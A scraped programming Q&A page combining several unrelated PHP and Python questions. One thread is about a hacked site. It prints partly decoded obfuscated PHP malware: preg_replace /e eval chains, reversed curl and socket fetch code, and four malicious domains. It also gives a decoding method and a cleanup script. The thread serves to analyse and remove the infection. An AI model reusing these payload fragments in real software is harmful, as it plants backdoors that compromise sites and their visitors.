PHP array of paths as HTML hierarchy - php

I have the following list of paths
GRUPA131/LFA & others/lfa sub.zip
GRUPA131/LFA & others/lfandrei.pdf
GRUPA131/Limbaje formale (Liviu Dinu).pdf
GRUPA131/desktop.ini
GRUPA131/lfa/lab1/1-Theodors MacBook Air.cc
GRUPA131/lfa/lab1/1.cc
GRUPA131/lfa/lab1/1.cc-Theodors MacBook Air.out
GRUPA131/lfa/lab1/1.cc.out
GRUPA131/lfa/lab1/2.cc
GRUPA131/lfa/lab1/input3.in
GRUPA131/lfa/lab1/tema1.zip
alexandru-lamba.png
alexandru-lamba_v2.png
analiza carte 1.pdf
analiza carte 2.pdf
biblsit.docx
center.js
as strings and I want to convert them into a folder hierarchy representable with HMTL. So, for each folder, I want to list it's files, and subfolders, and so on until the list is finished.
It would be best to have the php array hierarchy as follows:
$dirs['dirname'] -> file 1
$dirs['dirname'] -> file 2
$dirs['dirname'] -> file 3
$dirs['dirname'] -> Folder
$dirs['dirname']['folder'] -> file 1
$dirs['dirname']['folder'] -> file 2..
I have tried to split each string by '/' ( PATH_DELIMITER ) but I cannot figure out how to actually get an array like I have mentioned earlier.
Also, my array that has the entire paths, is a simple array. Not associative or so.
Can someone help me figure out how to do this?
Thanks!

Easiest way will be recursive function. My proposal:
function build_folder_structure(&$dirs, $path_array) {
if (count($path_array) > 1) {
if (!isset($dirs[$path_array[0]])) {
$dirs[$path_array[0]] = array();
}
build_folder_structure($dirs[$path_array[0]], array_splice($path_array, 1));
} else {
$dirs[] = $path_array[0];
}
}
$strings = array(
'GRUPA131/LFA & others/lfa sub.zip',
'GRUPA131/LFA & others/lfandrei.pdf',
'GRUPA131/Limbaje formale (Liviu Dinu).pdf',
'GRUPA131/desktop.ini',
'GRUPA131/lfa/lab1/1-Theodors MacBook Air.cc',
'GRUPA131/lfa/lab1/1.cc',
'GRUPA131/lfa/lab1/1.cc-Theodors MacBook Air.out',
'GRUPA131/lfa/lab1/1.cc.out',
'GRUPA131/lfa/lab1/2.cc',
'GRUPA131/lfa/lab1/input3.in',
'GRUPA131/lfa/lab1/tema1.zip',
'alexandru-lamba.png',
'alexandru-lamba_v2.png',
'analiza carte 1.pdf',
'analiza carte 2.pdf',
'biblsit.docx',
'center.js'
);
$dirs = array();
foreach ($strings As $string) {
$path_array = explode('/',$string);
build_folder_structure($dirs,$path_array);
}
print_r($dirs);
Check:
What is a RECURSIVE Function in PHP?
http://php.net/manual/en/language.references.pass.php

Related

imap_mail_move() not working on special characters (äüö...)

I am using imap_mail_move() to move emails from one folder to another. This works pretty well, but not if it comes to special characters in the folder name. I am sure I need to encode the name, but all test where not succesful.
Anybody that has a nice idea? Thanks in advance.
class EmailReader {
[...]
function doMoveEmail($uid, $targetFolder) {
$targetFolder = imap_utf8_to_mutf7($targetFolder);
$return = imap_mail_move($this->conn, $uid, $targetFolder, CP_UID);
if (!$return) {
$this->printValue(imap_errors());
die("stop");
}
return $return;
}
[...]
}
Calling the function in the script
[...]
$uid = 1234;
$folderTarget1 = "INBOX.00_Korrespondenz";
$this->doMoveEmail($uid, $folderTarget1);
$folderTarget2 = "INBOX.01_Anmeldevorgang.011_Bestätigungslink";
$this->doMoveEmail($uid, $folderTarget2);
[...]
The execution of the first call (folderTarget1) is working pretty well.
The execution of the secound call (folderTarget2) is creating an error:
[TRYCREATE] Mailbox doesn't exist: INBOX.01_Anmeldevorgang.011_Bestätigungslink (0.001 + 0.000 secs).
Remark 1:
if I call imap_list(), the name of the folder is shown as
"INBOX.01_Anmeldevorgang.011_Besta&Awg-tigungslink" (=$val)
using:
$new = mb_convert_encoding($val,'UTF-8','UTF7-IMAP')
echo $new; // gives --> "INBOX.01_Anmeldevorgang.011_Bestätigungslink"
but:
$new2 = mb_convert_encoding($new,'UTF7-IMAP', 'UTF-8')
echo $new2; // gives --> "INBOX.01_Anmeldevorgang.011_Best&AOQ-tigungslink"
Remark 2
I checked each possible encoding, with the following script, but none of them matchs the value that is returned by imap_list().
// looking for "INBOX.01_Anmeldevorgang.011_Besta&Awg-tigungslink" given by imap_list().
$targetFolder = "INBOX.01_Anmeldevorgang.011_Bestätigungslink";
foreach(mb_list_encodings() as $chr){
echo mb_convert_encoding($targetFolder, $chr, 'UTF-8')." : ".$chr."<br>";
}
Your folder name, as on the server, Besta&Awg-tigungslink is not canonically encoded:
&Awg- decodes as the combining diaereses character. Using some convenient python to look it up:
import base64
import unicode data
x = base64.b64decode('Awg=').decode('utf-16be'); # equals added to satisfy base64 padding requirements
unicodedata.name(x)
# Returns 'COMBINING DIAERESIS'
This combines with the a in front of it to show ä.
Your encoder is returning the more common precomposed form:
x = base64.b64decode('AOQ=').decode('utf-16be')
unicodedata.name(x)
# Returns: 'LATIN SMALL LETTER A WITH DIAERESIS'
This is a representation of ä directly.
Normally, when you work with IMAP folders, you pass around the raw name, and only convert the folder name for display. As you can see, there is not necessarily a one-way mapping from glyphs to encodings in unicode.
It does surprise me that PHP does seem to be doing a canonicalization step when encoding; I would expect round tripping the same data to return the same thing.
I created a workaround, which helps me to work with UTF8-values and to translate it to the original (raw) IMAP folder name.
function getFolderList() {
$folders = imap_list($this->conn, "{".$this->server."}", "*");
if (is_array($folders)) {
// Remove Server details of each element of array
$folders = array_map(function($val) { return str_replace("{".$this->server."}","",$val); }, $folders);
// Sort array
asort($folders);
// Renumber the list
$folders = array_values($folders);
// add UTF-8 encoded value to array
// this is needed as the original value is so wiered, that it is not possible to encode it
// with a function on the fly. This additional utf-8 value is needed to map the utf-8 value
// to the original value. The original value is still needed to do some operations like e.g.:
// - imap_mail_move()
// - imap_reopen()
// ==> the trick is to use normalizer_normalize()
$return = array();
foreach ($folders as $key => $folder) {
$return[$key]['original'] = $folder;
$return[$key]['utf8'] = normalizer_normalize(mb_convert_encoding($folder,'UTF-8','UTF7-IMAP'));
}
return $return;
} else {
die("IMAP_Folder-List failed: " . imap_last_error() . "\n");
}
}

Hacked site - encrypted code

Couple days ago I gave noticed that almost all php files on my server are infected with some encrypted code and in almost every file is different. Here is the example from one of the files:
http://pastebin.com/JtkNya5m
Can anybody tell me what this code do or how to decode it?
You can calculate the values of some of the variables, and begin to get your bearings.
$vmksmhmfuh = 'preg_replace'; //substr($qbrqftrrvx, (44195 - 34082), (45 - 33));
preg_replace('/(.*)/e', $viwdamxcpm, null); // Calls the function wgcdoznijh() $vmksmhmfuh($ywsictklpo, $viwdamxcpm, NULL);
So the initial purpose is to call the wgcdonznijh() function with the payloads in the script, this is done by way of an embedded function call in the pre_replace subject the /e in the expression.
/* aviewwjaxj */ eval(str_replace(chr((257-220)), chr((483-391)), wgcdoznijh($tbjmmtszkv,$qbrqftrrvx))); /* ptnsmypopp */
If you hex decode the result of that you will be just about here:
if ((function_exists("ob_start") && (!isset($GLOBALS["anuna"])))) {
$GLOBALS["anuna"] = 1;
function fjfgg($n)
{
return chr(ord($n) - 1);
}
#error_reporting(0);
preg_replace("/(.*)/e", "eval(implode(array_map("fjfgg",str_split("\x25u:f!>!(\x25\x78:!> ...
The above is truncated, but you have another payload as the subject of the new preg_replace function. Again due to e it has the potential to execute.
and it is using the callback on array_map to further decode the payload which passed to the eval.
The pay load for eval looks like this (hex decoded):
$t9e = '$w9 ="/(.*)/e";$v9 = #5656}5;Bv5;oc$v5Y5;-4_g#&oc$5;oc$v5Y5;-3_g#&oc$5;oc$v5Y5;-2_g#&oc$5;oc$v5Y5;-1_g#&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW#5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW#5{6))086,1pi$6,J(tcennocW#!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW#&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi#(pi2gnol#&2pi$5;)X$(emanybXteg#&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap#6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi#&%5;-elif#&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z#&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg# nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe#=1a$ ;)po$,)-$(dtg#(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45#9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *# = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W#Y#RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|#:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W#; $syv= "eval(str_replace(array"; $siv = "str_replace";$slv = "strrev";$s1v="create_function"; $svv = #//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46x.x?x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x$1\d6x\"=m$;"261'x1x.1x\"=r$;"351xa\07x\"=p$;"651.x%1x&1x\"=l$9{9)q$9,s$(2ne9noitcnuf;}#; $n9 = #1067|416|779|223|361#; $ll = "preg_replace"; $ee1 = array(#\14#,#, $#,#) { #,#[$i]#,#substr($#,#a = $xx("|","#,#,strpos($y,"9")#,# = str_replace($#,#x3#,#\x7#,#\15#,#;$i++) {#,#function #,#x6#,#); #,#for($i=0;$i
Which looks truncated ...
That is far as I have time for, but if you wanted to continue you may find the following url useful.
http://ddecode.com/
Good luck
I found the same code in a Wordpress instance and wrote a short script to remove it of all files:
$directory = new RecursiveDirectoryIterator(dirname(__FILE__));
$iterator = new RecursiveIteratorIterator($directory);
foreach ($iterator as $filename => $cur)
{
$contents = file_get_contents($filename);
if (strpos($contents, 'tngmufxact') !== false && strlen($contents) > 13200 && strpos($contents, '?>', 13200) == 13278) {
echo $filename.PHP_EOL;
file_put_contents($filename, substr($contents, 13280));
}
}
Just change the string 'tngmufxact' to your obfuscated version and everything will be removed automatically.
Maybe the length of the obfuscated string will differ - don't test this in your live environment!
Be sure to backup your files before executing this!
I've decoded this script and it is (except the obfuscation) exactly the same as this one: Magento Website Hacked - encryption code in all php files
The URL's inside are the same too:
33db9538.com
9507c4e8.com
e5b57288.com
54dfa1cb.com
If you are unsure/inexperienced don't try to execute or decode the code yourself, but get professional help.
Besides that: the decoding was done manually by picking the code pieces and partially executing them (inside a virtual machine - just in case something bad happens).
So basically I've repeated this over and over:
echo the hex strings to get the plain text (to find out which functions get used)
always replace eval with echo
always replace preg_replace("/(.*)/e", ...) with echo(preg_replace("/(.*)/", ...))
The e at the end of the regular expression means evaluate (like the php function eval), so don't forget to remove that too.
In the end you have a few function definitions and one of them gets invoked via ob_start.

Making the leap from PhP to Python

I am a fairly comfortable PHP programmer, and have very little Python experience. I am trying to help a buddy with his project, the code is easy enough to write in Php, I have most of it ported over, but need a bit of help completing the translation if possible.
The target is to:
Generate a list of basic objects with uid's
Randomly select a few Items to create a second list keyed to the uid containing new
properties.
Test for intersections between the two lists to alter response accordingly.
The following is a working example of what I am trying to code in Python
<?php
srand(3234);
class Object{ // Basic item description
public $x =null;
public $y =null;
public $name =null;
public $uid =null;
}
class Trace{ // Used to update status or move position
# public $x =null;
# public $y =null;
# public $floor =null;
public $display =null; // Currently all we care about is controlling display
}
##########################################################
$objects = array();
$dirtyItems = array();
#CREATION OF ITEMS########################################
for($i = 0; $i < 10; $i++){
$objects[] = new Object();
$objects[$i]->uid = rand();
$objects[$i]->x = rand(1,30);
$objects[$i]->y = rand(1,30);
$objects[$i]->name = "Item$i";
}
##########################################################
#RANDOM ITEM REMOVAL######################################
foreach( $objects as $item )
if( rand(1,10) <= 2 ){ // Simulate full code with 20% chance to remove an item.
$derp = new Trace();
$derp->display = false;
$dirtyItems[$item->uid] = $derp; //# <- THIS IS WHERE I NEED THE PYTHON HELP
}
##########################################################
display();
function display(){
global $objects, $dirtyItems;
foreach( $objects as $key => $value ){ // Iterate object list
if( #is_null($dirtyItems[$value->uid]) ) // Print description
echo "<br />$value->name is at ($value->x, $value->y) ";
else // or Skip if on second list.
echo "<br />Player took item $value->uid";
}
}
?>
So, really I have most of it sorted I am just having trouble with Python's version of an Associative array, to have a list whose keys match the Unique number of Items in the main list.
The output from the above code should look similar to:
Player took item 27955
Player took item 20718
Player took item 10277
Item3 is at (8, 4)
Item4 is at (11, 13)
Item5 is at (3, 15)
Item6 is at (20, 5)
Item7 is at (24, 25)
Item8 is at (12, 13)
Player took item 30326
My Python skills are still course, but this is roughly the same code block as above.
I've been looking at and trying to use list functions .insert( ) or .setitem( ) but it is not quite working as expected.
This is my current Python code, not yet fully functional
import random
import math
# Begin New Globals
dirtyItems = {} # This is where we store the object info
class SimpleClass: # This is what we store the object info as
pass
# End New Globals
# Existing deffinitions
objects = []
class Object:
def __init__(self,x,y,name,uid):
self.x = x # X and Y positioning
self.y = y #
self.name = name #What will display on a 'look' command.
self.uid = uid
def do_items():
global dirtyItems, objects
for count in xrange(10):
X=random.randrange(1,20)
Y=random.randrange(1,20)
UID = int(math.floor(random.random()*10000))
item = Object(X,Y,'Item'+str(count),UID)
try: #This is the new part, we defined the item, now we see if the player has moved it
if dirtyItems[UID]:
print 'Player took ', UID
except KeyError:
objects.append(item) # Back to existing code after this
pass # Any error generated attempting to access means that the item is untouched by the player.
# place_items( )
random.seed(1234)
do_items()
for key in objects:
print "%s at %s %s." % (key.name, key.x, key.y)
if random.randint(1, 10) <= 1:
print key.name, 'should be missing below'
x = SimpleClass()
x.display = False
dirtyItems[key.uid]=x
print ' '
objects = []
random.seed(1234)
do_items()
for key in objects:
print "%s at %s %s." % (key.name, key.x, key.y)
print 'Done.'
So, sorry for the long post, but I wanted to be through and provide both sets of full code. The PhP works perfectly, and the Python is close. If anyone can point me in the correct direction it would be a huge help.
dirtyItems.insert(key.uid,x) is what i tried to use to make a list work as an Assoc array
Edit: minor correction.
You're declaring dirtyItems as an array instead of a dictionary. In python they're distinct types.
Do dirtyItems = {} instead.
Make a dictionary instead of an array:
import random
import math
dirtyItems = {}
Then you can use like:
dirtyItems[key.uid] = x

Implode associative array with variable key name

I'm using an associative array to build a list of albums and the images inside those albums. The array is built with the following code (some code omitted for clarity -- just the stuff that loads $title, $desc, etc.):
<?php
$directory = 'gallery/*';
$subfolders = glob($directory);
foreach($subfolders as $subfolder) {
$photos = glob($subfolder.'/*.[Jj][Pp][Gg]');
$album = explode('_', $subfolder);
$albumname = str_replace(' ','%20',$album[1]);
foreach($photos as $photo){
$photolist[$albumname] .= '<span data-title="'.$title.'" data-desc="'.$desc.'" data-camera="'.$camera.'" data-lens="'.$lens.'" data-length="'.$length.'" data-shutter="'.$shutter.'" data-aperture="'.$aperture.'" data-iso="'.$iso.'" style="background-image:url('.$photo.'); background-size:contain;" class="slide"></span>';
}
}
?>
I'm trying to use implode() to spit out the relevant elements based on the $currentalbum (read from a cookie) as follows:
<?php
if(isset($_COOKIE["currentalbum"])) {
$currentalbum = $_COOKIE["currentalbum"];
} else {
$currentalbum = "New";
}
$currentphotolist = implode("",$photolist[$currentalbum]);
echo $currentphotolist;
?>
This is returning the error:
Warning: implode() [function.implode]: Invalid arguments passed in index.php on line 97
I presume it has some problem with the array, but when I print_r() it, I get the following, which looks fine:
Array
(
[New] => <span data-title="Train" data-desc="This is a picture of a train. Look at it go!" data-camera="Nikon D300" data-lens="Tamron 17-50mm f/2.8 VC" data-length="17mm" data-shutter="1/250s" data-aperture="f/6.3" data-iso="200" style="background-image:url(gallery/01_New/Train.jpg); background-size:contain;" class="slide"></span><span data-title="Billow" data-desc="" data-camera="Nikon D300" data-lens="Nikkor 50mm f/1.8D" data-length="50mm" data-shutter="1/250s" data-aperture="f/8" data-iso="200" style="background-image:url(gallery/01_New/Billow.jpg); background-size:contain;" class="slide"></span><span data-title="3059" data-desc="" data-camera="Nikon D300" data-lens="Micro-Nikkor 105mm f/2.8 VR" data-length="105mm" data-shutter="1/30s" data-aperture="f/22" data-iso="200" style="background-image:url(gallery/01_New/3059.jpg); background-size:contain;" class="slide"></span>
[Landscapes] => <span data-title="Influx" data-desc="" data-camera="Nikon D300" data-lens="Nikkor 70-300mm f/4.5-5.6 VR" data-length="70mm" data-shutter="30s" data-aperture="f/8" data-iso="200" style="background-image:url(gallery/02_Landscapes/Influx.jpg); background-size:contain;" class="slide"></span>
[Constructs] => <span data-title="Fervor" data-desc="I took this while wandering around in SEA-TAC airport waiting for a flight home. It\'s a lantern, hanging with some others in a shop. It caught my eye from across the terminal, but the shop was pretty small and I\'m always a little worried about knocking stuff with my camera bag, so I shot it through the window. I think it turned out pretty well regardless." data-camera="Nikon D7000" data-lens="Tamron 17-50mm f/2.8 VC" data-length="50mm" data-shutter="1/60s" data-aperture="f/2.8" data-iso="180" style="background-image:url(gallery/03_Constructs/Fervor.jpg); background-size:contain;" class="slide"></span>
)
Any idea why I'm getting the error?
The second argument to implode should be an array. It seems from your foreach loop that $photolist[$currentalbum] is a string.
Try
foreach($photos as $photo){
$photolist[$albumname][]= '<span data-title...</span>';
}
I believe implode requires a character as the first attribute. Try using a space or comma.
// Space
$currentphotolist = implode(" ",$photolist[$currentalbum]);
// Comma
$currentphotolist = implode(",",$photolist[$currentalbum]);

Calculating similarity -> python code to php code - Whats wrong?

I am trying to convert the following python code to a PHP code. Can you please explain me what is wrong in my PHP code, because I do not get the same results. If you need example data please let me know.
# Returns a distance-based similarity score for person1 and person2
def sim_distance(prefs,person1,person2):
# Get the list of shared_items
si={}
for item in prefs[person1]:
if item in prefs[person2]: si[item]=1
# if they have no ratings in common, return 0
if len(si)==0: return 0
# Add up the squares of all the differences
sum_of_squares=sum([pow(prefs[person1][item]-prefs[person2][item],2)
for item in prefs[person1] if item in prefs[person2]])
return 1/(1+sum_of_squares)
My PHP code:
$sum = 0.0;
foreach($arr[$person1] as $item => $val)
{
if(array_key_exists($item, $arr[$person2]))
{
$p = sqrt(pow($arr[$person1][$item] - $arr[$person2][$item], 2));
$sum = $sum + $p;
}
}
$sum = 1 / (1 + $sum);
echo $sum;
Thanks for helping!
The main difference is that you've added sqrt to the PHP code. The PHP also doesn't handle the special case of no prefs in common, which gives 0 in the python version and 1 in the PHP version.
I tested both versions and those are the only differences I found.
this is close as i could make a direct translation... (untested)
function sim_distance($prefs, $person1, $person2) {
$si = array();
foreach($prefs[$person1] as $item) {
if($item in $prefs[$person2]) $si[$item]=1;
}
if(count($si)==0) return 0;
$squares = array();
foreach($prefs[$person1] as $item) {
if(array_key_exists($item,$prefs[$person2])) {
$squares[] = pow($prefs[$person1][$item]-$prefs[$person2][$item],2);
}
}
$sum_of_squares = array_sum($squares);
return 1/(1+$sum_of_squares);
}
I don't really know what you're trying to do, or if I've interpreted the indentation correctly...but maybe this'll help. I'm assuming your data structures have the same layout as in the python script.
oh...and i'm interpreting the python as this:
def sim_distance(prefs,person1,person2):
# Get the list of shared_items
si={}
for item in prefs[person1]:
if item in prefs[person2]: si[item]=1
# if they have no ratings in common, return 0
if len(si)==0: return 0
# Add up the squares of all the differences
sum_of_squares=sum([pow(prefs[person1][item]-prefs[person2][item],2) for item in prefs[person1] if item in prefs[person2]])
return 1/(1+sum_of_squares)

Categories